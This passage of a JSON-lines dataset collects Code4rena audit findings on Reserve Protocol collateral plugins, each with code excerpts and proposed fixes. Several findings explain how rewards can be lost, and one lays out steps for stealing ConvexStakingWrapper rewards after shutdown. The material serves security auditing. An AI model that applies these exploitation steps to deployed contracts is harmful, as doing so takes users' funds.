revenueHiding,\n PTConfiguration memory ptConfig\n ) AppreciatingFiatCollateral(config, revenueHiding) PoolTokens(ptConfig) {\n require(config.defaultThreshold > 0, \"defaultThreshold zero\");\n }\n```\n\n## Tools Used\n\nManual Review\n\n## Recommended Mitigation Steps\n\nSince collaterals have various implementations of price feed. `Asset.lotPrice` could be modified like:\n```diff\n function lotPrice() external view virtual returns (uint192 lotLow, uint192 lotHigh) {\n …\n- if (delta <= oracleTimeout) {\n+ if (delta <= actualOracleTimeout()) {\n lotLow = savedLowPrice;\n lotHigh = savedHighPrice;\n …\n }\n\n+ function actualOracleTimeout() public view virtual returns (uint192) {\n+ return oracleTimeout;\n+ }\n```\n\nThen, collaterals can override `actualOracleTimeout` to reflect the correct oracle timeout.\n\n\n\n\n## Assessed type\n\nError","dataSource":{"name":"code-423n4/2023-07-reserve-findings","repo":"https://github.com/code-423n4/2023-07-reserve-findings","url":"https://github.com/code-423n4/2023-07-reserve-findings/issues/17"}} +{"title":"QA Report","body":"See the markdown file with the details of this report [here](https://github.com/code-423n4/2023-07-reserve-findings/blob/main/data/bin2chen-Q.md).","dataSource":{"name":"code-423n4/2023-07-reserve-findings","repo":"https://github.com/code-423n4/2023-07-reserve-findings","url":"https://github.com/code-423n4/2023-07-reserve-findings/issues/16"}} +{"title":"StargatePoolFiatCollateral.refPerTok() if _totalSupply=0 should not return 0","body":"# Lines of code\n\nhttps://github.com/reserve-protocol/protocol/blob/9ee60f142f9f5c1fe8bc50eef915cf33124a534f/contracts/plugins/assets/stargate/StargatePoolFiatCollateral.sol#L112\n\n\n# Vulnerability details\n\n## Impact\n`StargatePoolFiatCollateral.refPerTok()` May return 0, resulting in a price of (0,0)\n\n## Proof of Concept\nIn `StargatePoolFiatCollateral.refPerTok()`, if _totalSupply == 0, rate = 0 is returned.\n\n```solidity\n function refPerTok() public view virtual override returns (uint192 _rate) {\n uint256 _totalSupply = pool.totalSupply();\n\n if (_totalSupply != 0) {\n _rate = divuu(pool.totalLiquidity(), _totalSupply);\n }\n\n }\n```\n\nIf `refPerTok() == 0 ` it causes `tryPrice()` to return `(0,0)`.\n\n`(0, 0) is a valid price`.\n\nwhich may cause the price to be wrong, and may cause `savedLowPrice` to be wrong as well.\n\n## Tools Used\n\n## Recommended Mitigation Steps\n\nIf `_totalSupply==0`, return `FIX_ONE`.\n\n\n\n```solidity\n function refPerTok() public view virtual override returns (uint192 _rate) {\n uint256 _totalSupply = pool.totalSupply();\n\n if (_totalSupply != 0) {\n _rate = divuu(pool.totalLiquidity(), _totalSupply);\n- }\n+ } else {\n+ _rate = FIX_ONE;\n+ }\n\n }\n```\n\n\n\n\n## Assessed type\n\nContext","dataSource":{"name":"code-423n4/2023-07-reserve-findings","repo":"https://github.com/code-423n4/2023-07-reserve-findings","url":"https://github.com/code-423n4/2023-07-reserve-findings/issues/15"}} +{"title":"CTokenFiatCollateral's refresh() There's no guarantee that it won't revert","body":"# Lines of code\n\nhttps://github.com/reserve-protocol/protocol/blob/e3d2681503499e81915797c77eeef8210352a138/contracts/plugins/assets/compoundv2/CTokenFiatCollateral.sol#L43\n\n\n# Vulnerability details\n\n## Impact\n`cToken.exchangeRateCurrent()` revert will leads to `refresh()` revert\n\n## Proof of Concept\nThe protocol states that `refresh` can only `revert` if it is `out-of-gas`.\n```text\nrefresh()\nfunction refresh() public\n\nBecause refresh() is relied upon by so much of the protocol, it is important that it only reverts due to out-of-gas errors. So, wrap any risky external calls that might throw in a try-catch block like this one:\n\n```\n\nCurrently `CTokenFiatCollateral.refresh` is still possibly `revert`\n\n```solidity\n function refresh() public virtual override {\n // == Refresh ==\n // Update the Compound Protocol\n@> cToken.exchangeRateCurrent();\n\n // Intentional and correct for the super call to be last!\n super.refresh(); // already handles all necessary default checks\n }\n```\n\n`cToken.exchangeRateCurrent()` is the possible `revert`\nThe code is as follows:\n\nhttps://github.com/compound-finance/compound-protocol/blob/a3214f67b73310d547e00fc578e8355911c9d376/contracts/CToken.sol#L345C51-L345C51\n\nexchangeRateCurrent() -> accrueInterest()\n\n```solidity\n function accrueInterest() virtual override public returns (uint) {\n /* Remember the initial block number */\n uint currentBlockNumber = getBlockNumber();\n uint accrualBlockNumberPrior = accrualBlockNumber;\n\n /* Short-circuit accumulating 0 interest */\n if (accrualBlockNumberPrior == currentBlockNumber) {\n return NO_ERROR;\n }\n\n /* Read the previous values out of storage */\n uint cashPrior = getCashPrior();\n uint borrowsPrior = totalBorrows;\n uint reservesPrior = totalReserves;\n uint borrowIndexPrior = borrowIndex;\n\n /* Calculate the current borrow interest rate */\n uint borrowRateMantissa = interestRateModel.getBorrowRate(cashPrior, borrowsPrior, reservesPrior);\n@> require(borrowRateMantissa <= borrowRateMaxMantissa, \"borrow rate is absurdly high\");\n\n /* Calculate the number of blocks elapsed since the last accrual */\n....\n\n```\n\n## Tools Used\n\n## Recommended Mitigation Steps\n\nSuggest adding try/catch to prevent `exchangeRateCurrent()` from failing.\n\n\n## Assessed type\n\nContext","dataSource":{"name":"code-423n4/2023-07-reserve-findings","repo":"https://github.com/code-423n4/2023-07-reserve-findings","url":"https://github.com/code-423n4/2023-07-reserve-findings/issues/13"}} +{"title":"StaticATokenLM transfer missing _updateRewards","severity":"medium","body":"# Lines of code\n\nhttps://github.com/reserve-protocol/protocol/blob/e3d2681503499e81915797c77eeef8210352a138/contracts/plugins/assets/aave/StaticATokenLM.sol#L359\n\n\n# Vulnerability details\n\n## Impact\ntransfer missing `_updateRewards()`,Resulting in the loss of `from`'s reward\n\n## Proof of Concept\n`StaticATokenLM` contains the rewards mechanism, when the balance changes, the global `_accRewardsPerToken` needs to be updated first to calculate the user's `rewardsAccrued` more accurately.\n\nExample: `mint()/burn()` both call `_updateRewards()` to update `_accRewardsPerToken`\n\n```solidity\n function _deposit(\n address depositor,\n address recipient,\n uint256 amount,\n uint16 referralCode,\n bool fromUnderlying\n ) internal returns (uint256) {\n require(recipient != address(0), StaticATokenErrors.INVALID_RECIPIENT);\n@> _updateRewards();\n\n...\n\n _mint(recipient, amountToMint);\n\n return amountToMint;\n }\n\n\n function _withdraw(\n address owner,\n address recipient,\n uint256 staticAmount,\n uint256 dynamicAmount,\n bool toUnderlying\n ) internal returns (uint256, uint256) {\n...\n@> _updateRewards();\n\n...\n@> _burn(owner, amountToBurn);\n\n...\n } \n```\n\nWhen `transfer()/transerFrom()`, the balance is also modified, but without calling `_updateRewards()` first\nThe result is that if the user transfers the balance, the difference in rewards accrued by `from` is transferred to `to` along with it.\nThis doesn't make sense for `from`.\n```solidity\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256\n ) internal override {\n if (address(INCENTIVES_CONTROLLER) == address(0)) {\n return;\n }\n if (from != address(0)) {\n _updateUser(from);\n }\n if (to != address(0)) {\n _updateUser(to);\n }\n }\n```\n## Tools Used\n\n## Recommended Mitigation Steps\n\n\n`_beforeTokenTransfer` first trigger `_updateRewards()`\n```solidity\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256\n ) internal override {\n if (address(INCENTIVES_CONTROLLER) == address(0)) {\n return;\n }\n+ _updateRewards(); \n if (from != address(0)) {\n _updateUser(from);\n }\n if (to != address(0)) {\n _updateUser(to);\n }\n }\n```\n\n\n## Assessed type\n\nContext","dataSource":{"name":"code-423n4/2023-07-reserve-findings","repo":"https://github.com/code-423n4/2023-07-reserve-findings","url":"https://github.com/code-423n4/2023-07-reserve-findings/issues/12"}} +{"title":"ConvexStakingWrapper.sol after shutdown,rewards can be steal","severity":"major","body":"# Lines of code\n\n https://github.com/reserve-protocol/protocol/blob/e3d2681503499e81915797c77eeef8210352a138/contracts/plugins/assets/convex/vendor/ConvexStakingWrapper.sol#L296\n\n\n# Vulnerability details\n\n## Impact\nAfter shutdown, checkpoints are stopped, leading to possible theft of rewards. \n\n## Proof of Concept\n`ConvexStakingWrapper` No more `checkpoints` after `shutdown`, i.e. no updates `reward.reward_integral_for[user]`\n\n```solidity\n function _beforeTokenTransfer(\n address _from,\n address _to,\n uint256\n ) internal override {\n@> _checkpoint([_from, _to]);\n }\n\n function _checkpoint(address[2] memory _accounts) internal nonReentrant {\n //if shutdown, no longer checkpoint in case there are problems\n@> if (isShutdown()) return;\n\n uint256 supply = _getTotalSupply();\n uint256[2] memory depositedBalance;\n depositedBalance[0] = _getDepositedBalance(_accounts[0]);\n depositedBalance[1] = _getDepositedBalance(_accounts[1]);\n\n IRewardStaking(convexPool).getReward(address(this), true);\n\n _claimExtras();\n\n uint256 rewardCount = rewards.length;\n for (uint256 i = 0; i < rewardCount; i++) {\n _calcRewardIntegral(i, _accounts, depositedBalance, supply, false);\n }\n } \n```\n\nThis would result in, after `shutdown`, being able to steal `rewards` by transferring `tokens` to new users\n\nExample:\nSuppose the current\nreward.reward_integral = 1000\n\nWhen a `shutdown` occurs\n1. alice transfers 100 to the new user, bob.\nSince bob is the new user and `_beforeTokenTransfer()->_checkpoint()` is not actually executed\nResult.\nbalanceOf[bob] = 100\nreward.reward_integral_for[bob] = 0\n\n2. bob executes `claimRewards()` to steal the reward\nreward amount = balanceOf[bob] * (reward.reward_integral - reward.reward_integral_for[bob])\n = 100 * (1000-0)\n3. bob transfers the balance to other new users, looping steps 1-2 and stealing all rewards\n\n## Tools Used\n\n## Recommended Mitigation Steps\n\nStill execute _checkpoint\n\n```solidity\n\n function _checkpoint(address[2] memory _accounts) internal nonReentrant {\n //if shutdown, no longer checkpoint in case there are problems\n - if (isShutdown()) return;\n\n uint256 supply = _getTotalSupply();\n uint256[2] memory depositedBalance;\n depositedBalance[0] = _getDepositedBalance(_accounts[0]);\n depositedBalance[1] = _getDepositedBalance(_accounts[1]);\n\n IRewardStaking(convexPool).getReward(address(this), true);\n\n _claimExtras();\n\n uint256 rewardCount = rewards.length;\n for (uint256 i = 0; i < rewardCount; i++) {\n _calcRewardIntegral(i, _accounts, depositedBalance, supply, false);\n }\n } \n```\n\n\n## Assessed type\n\nContext","dataSource":{"name":"code-423n4/2023-07-reserve-findings","repo":"https://github.com/code-423n4/2023-07-reserve-findings","url":"https://github.com/code-423n4/2023-07-reserve-findings/issues/11"}} +{"title":"_claimRewardsOnBehalf() User's rewards may be lost","severity":"medium","body":"# Lines of code\n\nhttps://github.com/reserve-protocol/protocol/blob/e3d2681503499e81915797c77eeef8210352a138/contracts/plugins/assets/aave/StaticATokenLM.sol#L459-L461\n\n\n# Vulnerability details\n\n## Impact\nIncorrect determination of maximum rewards, which may lead to loss of user rewards\n\n## Proof of Concept\n`_claimRewardsOnBehalf()` For users to retrieve rewards\n\n```solidity\n function _claimRewardsOnBehalf(\n address onBehalfOf,\n address receiver,\n bool forceUpdate\n ) internal {\n if (forceUpdate) {\n _collectAndUpdateRewards();\n }\n\n uint256 balance = balanceOf(onBehalfOf);\n uint256 reward = _getClaimableRewards(onBehalfOf, balance, false);\n uint256 totBal = REWARD_TOKEN.balanceOf(address(this));\n\n@> if (reward > totBal) {\n@> reward = totBal;\n@> }\n if (reward > 0) {\n@> _unclaimedRewards[onBehalfOf] = 0;\n _updateUserSnapshotRewardsPerToken(onBehalfOf);\n REWARD_TOKEN.safeTransfer(receiver, reward);\n }\n }\n```\n\nFrom the code above, we can see that if the contract balance is not enough, it will only use the contract balance and set the unclaimed rewards to 0: `_unclaimedRewards[user]=0`.\n\nBut using the current contract's balance is inaccurate, `REWARD_TOKEN` may still be stored in `INCENTIVES_CONTROLLER\n\n`_updateRewards()` and `_updateUser()`, are just calculations, they don't transfer `REWARD_TOKEN` to the current contract, but `_unclaimedRewards[user]` is always accumulating\n\n1. `_updateRewards()` not transferable `REWARD_TOKEN`\n```\n function _updateRewards() internal {\n...\n if (block.number > _lastRewardBlock) {\n...\n\n address[] memory assets = new address[](1);\n assets[0] = address(ATOKEN);\n\n@> uint256 freshRewards = INCENTIVES_CONTROLLER.getRewardsBalance(assets, address(this));\n uint256 lifetimeRewards = _lifetimeRewardsClaimed.add(freshRewards);\n uint256 rewardsAccrued = lifetimeRewards.sub(_lifetimeRewards).wadToRay();\n\n@> _accRewardsPerToken = _accRewardsPerToken.add(\n (rewardsAccrued).rayDivNoRounding(supply.wadToRay())\n );\n _lifetimeRewards = lifetimeRewards;\n }\n }\n```\n\n2. but `_unclaimedRewards[user]` always accumulating\n\n```solidity\n function _updateUser(address user) internal {\n uint256 balance = balanceOf(user);\n if (balance > 0) {\n uint256 pending = _getPendingRewards(user, balance, false);\n@> _unclaimedRewards[user] = _unclaimedRewards[user].add(pending);\n }\n _updateUserSnapshotRewardsPerToken(user);\n }\n```\n\n\nThis way if `_unclaimedRewards(forceUpdate=false)` is executed, it does not trigger the transfer of `REWARD_TOKEN` to the current contract.\nThis makes it possible that `_unclaimedRewards[user] > REWARD_TOKEN.balanceOf(address(this))` \nAccording to the `_claimedRewardsOnBehalf()` current code, the extra value is lost.\n\nIt is recommended that `if (reward > totBal)` be executed only if `forceUpdate=true`, to avoid losing user rewards.\n\n## Tools Used\n\n## Recommended Mitigation Steps\n\n```solidity\n function _claimRewardsOnBehalf(\n address onBehalfOf,\n address receiver,\n bool forceUpdate\n ) internal {\n if (forceUpdate) {\n _collectAndUpdateRewards();\n }\n\n uint256 balance = balanceOf(onBehalfOf);\n uint256 reward = _getClaimableRewards(onBehalfOf, balance, false);\n uint256 totBal = REWARD_TOKEN.balanceOf(address(this));\n\n- if (reward > totBal) {\n+ if (forceUpdate && reward > totBal) {\n reward = totBal;\n }\n if (reward > 0) {\n _unclaimedRewards[onBehalfOf] = 0;\n _updateUserSnapshotRewardsPerToken(onBehalfOf);\n REWARD_TOKEN.safeTransfer(receiver, reward);\n }\n }\n```\n\n\n## Assessed type\n\nContext","dataSource":{"name":"code-423n4/2023-07-reserve-findings","repo":"https://github.com/code-423n4/2023-07-reserve-findings","url":"https://github.com/code-423n4/2023-07-reserve-findings/issues/10"}} +{"title":"QA Report","body":"See the markdown file with the details of this report [here](https://github.com/code-423n4/2023-07-reserve-findings/blob/main/data/RaymondFam-Q.md).","dataSource":{"name":"code-423n4/2023-07-reserve-findings","repo":"https://github.com/code-423n4/2023-07-reserve-findings","url":"https://github.com/code-423n4/2023-07-reserve-findings/issues/9"}} +{"title":"Lack of protection when caling `CusdcV3Wrapper._withdraw`","severity":"medium","body":"# Lines of code\n\nhttps://github.com/reserve-protocol/protocol/blob/9ee60f142f9f5c1fe8bc50eef915cf33124a534f/contracts/plugins/assets/compoundv3/CusdcV3Wrapper.sol#L127-L170\n\n\n# Vulnerability details\n\n## Impact\nWhen unwrapping the `wComet` to its rebasing `comet`, users with an equivalent amount of `wComet` invoking `CusdcV3Wrapper._withdraw` at around the same time could end up having different percentage gains because `comet` is not linearly rebasing.\n\nMoreover, the rate-determining `getUpdatedSupplyIndicies()` is an internal view function inaccessible to the users unless they take the trouble creating a contract to inherit CusdcV3Wrapper.sol. So most users making partial withdrawals will have no clue whether or not this is the best time to unwrap. This is because the public view function [underlyingBalanceOf](https://github.com/reserve-protocol/protocol/blob/9ee60f142f9f5c1fe8bc50eef915cf33124a534f/contracts/plugins/assets/compoundv3/CusdcV3Wrapper.sol#L225-L231) is only directly informational when `amount` has been entered as `type(uint256).max`. \n\n## Proof of Concept\nhttps://github.com/reserve-protocol/protocol/blob/9ee60f142f9f5c1fe8bc50eef915cf33124a534f/contracts/plugins/assets/compoundv3/CusdcV3Wrapper.sol#L134-L170\n\n```solidity\n function _withdraw(\n address operator,\n address src,\n address dst,\n uint256 amount\n ) internal {\n if (!hasPermission(src, operator)) revert Unauthorized();\n // {Comet}\n uint256 srcBalUnderlying = underlyingBalanceOf(src);\n if (srcBalUnderlying < amount) amount = srcBalUnderlying;\n if (amount == 0) revert BadAmount();\n\n underlyingComet.accrueAccount(address(this));\n underlyingComet.accrueAccount(src);\n\n uint256 srcBalPre = balanceOf(src);\n CometInterface.UserBasic memory wrappedBasic = underlyingComet.userBasic(address(this));\n int104 wrapperPrePrinc = wrappedBasic.principal;\n\n // conservative rounding in favor of the wrapper\n IERC20(address(underlyingComet)).safeTransfer(dst, (amount / 10) * 10);\n\n wrappedBasic = underlyingComet.userBasic(address(this));\n int104 wrapperPostPrinc = wrappedBasic.principal;\n\n // safe to cast because principal can't go negative, wrapper is not borrowing\n uint256 burnAmt = uint256(uint104(wrapperPrePrinc - wrapperPostPrinc));\n // occasionally comet will withdraw 1-10 wei more than we asked for.\n // this is ok because 9 times out of 10 we are rounding in favor of the wrapper.\n // safe because we have already capped the comet withdraw amount to src underlying bal.\n // untested:\n // difficult to trigger, depends on comet rules regarding rounding\n if (srcBalPre <= burnAmt) burnAmt = srcBalPre;\n\n accrueAccountRewards(src);\n _burn(src, safe104(burnAmt));\n }\n```\nAs can be seen in the code block of function `_withdraw` above, `underlyingBalanceOf(src)` is first invoked.\n\nhttps://github.com/reserve-protocol/protocol/blob/9ee60f142f9f5c1fe8bc50eef915cf33124a534f/contracts/plugins/assets/compoundv3/CusdcV3Wrapper.sol#L225-L231\n\n```solidity\n function underlyingBalanceOf(address account) public view returns (uint256) {\n uint256 balance = balanceOf(account);\n if (balance == 0) {\n return 0;\n }\n return convertStaticToDynamic(safe104(balance));\n }\n```\nNext, function `convertStaticToDynamic` is invoked.\n\nhttps://github.com/reserve-protocol/protocol/blob/9ee60f142f9f5c1fe8bc50eef915cf33124a534f/contracts/plugins/assets/compoundv3/CusdcV3Wrapper.sol#L241-L244\n\n```solidity\n function convertStaticToDynamic(uint104 amount) public view returns (uint256) {\n (uint64 baseSupplyIndex, ) = getUpdatedSupplyIndicies();\n return presentValueSupply(baseSupplyIndex, amount);\n }\n```\nAnd next, function `getUpdatedSupplyIndicies` is invoked. As can be seen in its code logic, the returned value of `baseSupplyIndex_` is determined by the changing `supplyRate`.\n\nhttps://github.com/reserve-protocol/protocol/blob/9ee60f142f9f5c1fe8bc50eef915cf33124a534f/contracts/plugins/assets/compoundv3/CusdcV3Wrapper.sol#L298-L313\n\n```solidity\n function getUpdatedSupplyIndicies() internal view returns (uint64, uint64) {\n TotalsBasic memory totals = underlyingComet.totalsBasic();\n uint40 timeDelta = uint40(block.timestamp) - totals.lastAccrualTime;\n uint64 baseSupplyIndex_ = totals.baseSupplyIndex;\n uint64 trackingSupplyIndex_ = totals.trackingSupplyIndex;\n if (timeDelta > 0) {\n uint256 baseTrackingSupplySpeed = underlyingComet.baseTrackingSupplySpeed();\n uint256 utilization = underlyingComet.getUtilization();\n uint256 supplyRate = underlyingComet.getSupplyRate(utilization);\n baseSupplyIndex_ += safe64(mulFactor(baseSupplyIndex_, supplyRate * timeDelta));\n trackingSupplyIndex_ += safe64(\n divBaseWei(baseTrackingSupplySpeed * timeDelta, totals.totalSupplyBase)\n );\n }\n return (baseSupplyIndex_, trackingSupplyIndex_);\n }\n```\nThe returned value of `baseSupplyIndex` is then inputted into function `principalValueSupply` where the lower the value of `baseSupplyIndex`, the higher the `principalValueSupply` or simply put, the lesser the `burn` amount. \n\nhttps://github.com/reserve-protocol/protocol/blob/9ee60f142f9f5c1fe8bc50eef915cf33124a534f/contracts/plugins/assets/compoundv3/CometHelpers.sol#L29-L35\n\n```solidity\n function principalValueSupply(uint64 baseSupplyIndex_, uint256 presentValue_)\n internal\n pure\n returns (uint104)\n {\n return safe104((presentValue_ * BASE_INDEX_SCALE) / baseSupplyIndex_);\n }\n```\n\n## Tools Used\nManual\n\n## Recommended Mitigation Steps\nConsider implementing slippage protection on `CusdcV3Wrapper._withdraw` so that users could opt for the minimum amount of `comet` to receive or the maximum amount of `wComet` to burn.\n\n\n\n\n\n\n\n\n## Assessed type\n\nTiming","dataSource":{"name":"code-423n4/2023-07-reserve-findings","repo":"https://github.com/code-423n4/2023-07-reserve-findings","url":"https://github.com/code-423n4/2023-07-reserve-findings/issues/8"}} +{"title":"Lack of protection when withdrawing Static Atoken ","severity":"medium","body":"# Lines of code\n\nhttps://github.com/reserve-protocol/protocol/blob/9ee60f142f9f5c1fe8bc50eef915cf33124a534f/contracts/plugins/assets/aave/StaticATokenLM.sol#L324-L365\n\n\n# Vulnerability details\n\n## Impact\nThe Aave plugin is associated with [an ever-increasing exchange rate](https://github.com/reserve-protocol/protocol/blob/9ee60f142f9f5c1fe8bc50eef915cf33124a534f/contracts/plugins/assets/aave/StaticATokenLM.sol#L26). The earlier a user wraps the AToken, the more Static Atoken will be minted and understandably no slippage protection is needed.\n\nHowever, since the rate is not linearly increasing, withdrawing the Static Atoken (following RToken redemption) at the wrong time could mean a difference in terms of the amount of AToken redeemed. The rate could be in a transient mode of non-increasing or barely increasing and then a significant surge. Users with an equivalent amount of Static AToken making such calls at around the same time could end up having different percentage gains. \n\nAlthough the user could always deposit and wrap the AToken again, it's not going to help if the wrapping were to encounter a sudden surge (bad timing again) thereby thwarting the intended purpose. \n\n## Proof of Concept\nhttps://github.com/reserve-protocol/protocol/blob/9ee60f142f9f5c1fe8bc50eef915cf33124a534f/contracts/plugins/assets/aave/StaticATokenLM.sol#L338-L355\n\n```solidity\n uint256 userBalance = balanceOf(owner);\n\n uint256 amountToWithdraw;\n uint256 amountToBurn;\n\n uint256 currentRate = rate();\n if (staticAmount > 0) {\n amountToBurn = (staticAmount > userBalance) ? userBalance : staticAmount;\n amountToWithdraw = _staticToDynamicAmount(amountToBurn, currentRate);\n } else {\n uint256 dynamicUserBalance = _staticToDynamicAmount(userBalance, currentRate);\n amountToWithdraw = (dynamicAmount > dynamicUserBalance)\n ? dynamicUserBalance\n : dynamicAmount;\n amountToBurn = _dynamicToStaticAmount(amountToWithdraw, currentRate);\n }\n\n _burn(owner, amountToBurn);\n```\nAs can be seen in the code block of function `_withdraw` above, choosing `staticAmount > 0` will have a lesser amount of AToken to withdraw when the `currenRate` is stagnant.\n\nhttps://github.com/reserve-protocol/protocol/blob/9ee60f142f9f5c1fe8bc50eef915cf33124a534f/contracts/plugins/assets/aave/StaticATokenLM.sol#L297-L299\n\n```solidity\n function _staticToDynamicAmount(uint256 amount, uint256 rate_) internal pure returns (uint256) {\n return amount.rayMul(rate_);\n }\n``` \nSimilarly, choosing `dynamicAmount > 0` will have a higher than expected amount of Static Atoken to burn.\n\nhttps://github.com/reserve-protocol/protocol/blob/9ee60f142f9f5c1fe8bc50eef915cf33124a534f/contracts/plugins/assets/aave/StaticATokenLM.sol#L293-L295\n\n```solidity\n function _dynamicToStaticAmount(uint256 amount, uint256 rate_) internal pure returns (uint256) {\n return amount.rayDiv(rate_);\n }\n```\n## Tools Used\nManual\n\n## Recommended Mitigation Steps\nConsider implementing slippage protection on `StaticATokenLM._withdraw` so that users could opt for the minimum amount of AToken to receive or the maximum amount of Static Atoken to burn.\n\n\n\n\n\n## Assessed type\n\nTiming","dataSource":{"name":"code-423n4/2023-07-reserve-findings","repo":"https://github.com/code-423n4/2023-07-reserve-findings","url":"https://github.com/code-423n4/2023-07-reserve-findings/issues/7"}} +{"title":"Potential Loss of Rewards During Token Transfers in StaticATokenLM.sol","severity":"medium","body":"# Lines of code\n\nhttps://github.com/reserve-protocol/protocol/blob/9ee60f142f9f5c1fe8bc50eef915cf33124a534f/contracts/plugins/assets/aave/StaticATokenLM.sol#L367-L386\n\n\n# Vulnerability details\n\n## Impact\nThis issue could lead to a permanent loss of rewards for the transferer of the token. During the token transfer process, the `_beforeTokenTransfer` function updates rewards for both the sender and the receiver. However, due to the specific call order and the behavior of the `_updateUser` function and the `_getPendingRewards` function, some rewards may not be accurately accounted for.\n\nThe crux of the problem lies in the fact that the `_getPendingRewards` function, when called with the `fresh` parameter set to `false`, may not account for all the latest rewards from the `INCENTIVES_CONTROLLER`. As a result, the `_updateUserSnapshotRewardsPerToken` function, which relies on the output of the `_getPendingRewards` function, could end up missing out on some rewards. This could be detrimental to the token sender, especially the `Backing Manager` whenever `RToken` is redeemed. Apparently, most users having wrapped their `AToken`, would automatically use it to issue `RToken` as part of the basket range of backing collaterals and be minimally impacted. But it would have the Reserve Protocol collectively affected depending on the frequency and volume of RToken redemption and the time elapsed since `_updateRewards()` or `_collectAndUpdateRewards()` was last called. The same impact shall also apply when making token transfers to successful auction bidders. \n\n## Proof of Concept\nAs denoted in the function NatSpec below, function `_beforeTokenTransfer` updates rewards for senders and receivers in a [`transfer`](https://github.com/reserve-protocol/protocol/blob/9ee60f142f9f5c1fe8bc50eef915cf33124a534f/contracts/plugins/assets/aave/vendor/ERC20.sol#L223-L250).\n\nhttps://github.com/reserve-protocol/protocol/blob/9ee60f142f9f5c1fe8bc50eef915cf33124a534f/contracts/plugins/assets/aave/StaticATokenLM.sol#L367-L386\n\n```solidity\n /**\n * @notice Updates rewards for senders and receiver in a transfer (not updating rewards for address(0))\n * @param from The address of the sender of tokens\n * @param to The address of the receiver of tokens\n */\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256\n ) internal override {\n if (address(INCENTIVES_CONTROLLER) == address(0)) {\n return;\n }\n if (from != address(0)) {\n _updateUser(from);\n }\n if (to != address(0)) {\n _updateUser(to);\n }\n }\n```\nWhen function `_updateUser` is respectively invoked, `_getPendingRewards(user, balance, false)` is called. \n\nhttps://github.com/reserve-protocol/protocol/blob/9ee60f142f9f5c1fe8bc50eef915cf33124a534f/contracts/plugins/assets/aave/StaticATokenLM.sol#L543-L550\n\n```solidity\n /**\n * @notice Adding the pending rewards to the unclaimed for specific user and updating user index\n * @param user The address of the user to update\n */\n function _updateUser(address user) internal {\n uint256 balance = balanceOf(user);\n if (balance > 0) {\n uint256 pending = _getPendingRewards(user, balance, false);\n _unclaimedRewards[user] = _unclaimedRewards[user].add(pending);\n }\n _updateUserSnapshotRewardsPerToken(user);\n }\n```\n\nHowever, because the third parameter has been entered `false`, the third if block of function `_getPendingRewards` is skipped.\n\nhttps://github.com/reserve-protocol/protocol/blob/9ee60f142f9f5c1fe8bc50eef915cf33124a534f/contracts/plugins/assets/aave/StaticATokenLM.sol#L552-L591\n\n```solidity\n /**\n * @notice Compute the pending in RAY (rounded down). Pending is the amount to add (not yet unclaimed) rewards in RAY (rounded down).\n * @param user The user to compute for\n * @param balance The balance of the user\n * @param fresh Flag to account for rewards not claimed by contract yet\n * @return The amound of pending rewards in RAY\n */\n function _getPendingRewards(\n address user,\n uint256 balance,\n bool fresh\n ) internal view returns (uint256) {\n if (address(INCENTIVES_CONTROLLER) == address(0)) {\n return 0;\n }\n\n if (balance == 0) {\n return 0;\n }\n\n uint256 rayBalance = balance.wadToRay();\n\n uint256 supply = totalSupply();\n uint256 accRewardsPerToken = _accRewardsPerToken;\n\n if (supply != 0 && fresh) {\n address[] memory assets = new address[](1);\n assets[0] = address(ATOKEN);\n\n uint256 freshReward = INCENTIVES_CONTROLLER.getRewardsBalance(assets, address(this));\n uint256 lifetimeRewards = _lifetimeRewardsClaimed.add(freshReward);\n uint256 rewardsAccrued = lifetimeRewards.sub(_lifetimeRewards).wadToRay();\n accRewardsPerToken = accRewardsPerToken.add(\n (rewardsAccrued).rayDivNoRounding(supply.wadToRay())\n );\n }\n\n return\n rayBalance.rayMulNoRounding(accRewardsPerToken.sub(_userSnapshotRewardsPerToken[user]));\n }\n```\n\nHence, `accRewardsPerToken` may not be updated with the latest rewards from `INCENTIVES_CONTROLLER`. Consequently, `_updateUserSnapshotRewardsPerToken(user)` will miss out on claiming some rewards and is a loss to the StaticAtoken transferrer.\n\nhttps://github.com/reserve-protocol/protocol/blob/9ee60f142f9f5c1fe8bc50eef915cf33124a534f/contracts/plugins/assets/aave/StaticATokenLM.sol#L531-L537\n\n```solidity\n /**\n * @notice Update the rewardDebt for a user with balance as his balance\n * @param user The user to update\n */\n function _updateUserSnapshotRewardsPerToken(address user) internal {\n _userSnapshotRewardsPerToken[user] = _accRewardsPerToken;\n }\n```\nIronically, this works out as a zero-sum game where the loss of the transferrer is a gain to the transferee. But most assuredly, the Backing Manager is going to end up incurring more losses than gains in this regard. \n\n## Tools Used\nManual\n\n## Recommended Mitigation Steps\nConsider introducing an additional call to update the state of rewards before any token transfer occurs. Specifically, within the `_beforeTokenTransfer` function, invoking [`_updateRewards`](https://github.com/reserve-protocol/protocol/blob/9ee60f142f9f5c1fe8bc50eef915cf33124a534f/contracts/plugins/assets/aave/StaticATokenLM.sol#L388-L415) like it has been implemented in [`StaticATokenLM._deposit`](https://github.com/reserve-protocol/protocol/blob/9ee60f142f9f5c1fe8bc50eef915cf33124a534f/contracts/plugins/assets/aave/StaticATokenLM.sol#L309) and [`StaticATokenLM._withdraw`](https://github.com/reserve-protocol/protocol/blob/9ee60f142f9f5c1fe8bc50eef915cf33124a534f/contracts/plugins/assets/aave/StaticATokenLM.sol#L336) before updating the user balances would have the issues resolved.\n\nThis method would not force an immediate claim of rewards, but rather ensure the internal accounting of rewards is up-to-date before the transfer. By doing so, the state of rewards for each user would be accurate and ensure no loss or premature gain of rewards during token transfers.\n\n\n\n\n\n\n\n\n## Assessed type\n\nToken-Transfer","dataSource":{"name":"code-423n4/2023-07-reserve-findings","repo":"https://github.com/code-423n4/2023-07-reserve-findings","url":"https://github.com/code-423n4/2023-07-reserve-findings/issues/4"}} {"title":"Gas Optimizations","body":"See the markdown file with the details of this report [here](https://github.com/code-423n4/2023-08-pooltogether-findings/blob/main/data/Raihan-G.md).","dataSource":{"name":"code-423n4/2023-08-pooltogether-findings","repo":"https://github.com/code-423n4/2023-08-pooltogether-findings","url":"https://github.com/code-423n4/2023-08-pooltogether-findings/issues/165"}} {"title":"Gas Optimizations","body":"See the markdown file with the details of this report [here](https://github.com/code-423n4/2023-08-pooltogether-findings/blob/main/data/JCK-G.md).","dataSource":{"name":"code-423n4/2023-08-pooltogether-findings","repo":"https://github.com/code-423n4/2023-08-pooltogether-findings","url":"https://github.com/code-423n4/2023-08-pooltogether-findings/issues/156"}} {"title":"Gas Optimizations","body":"See the markdown file 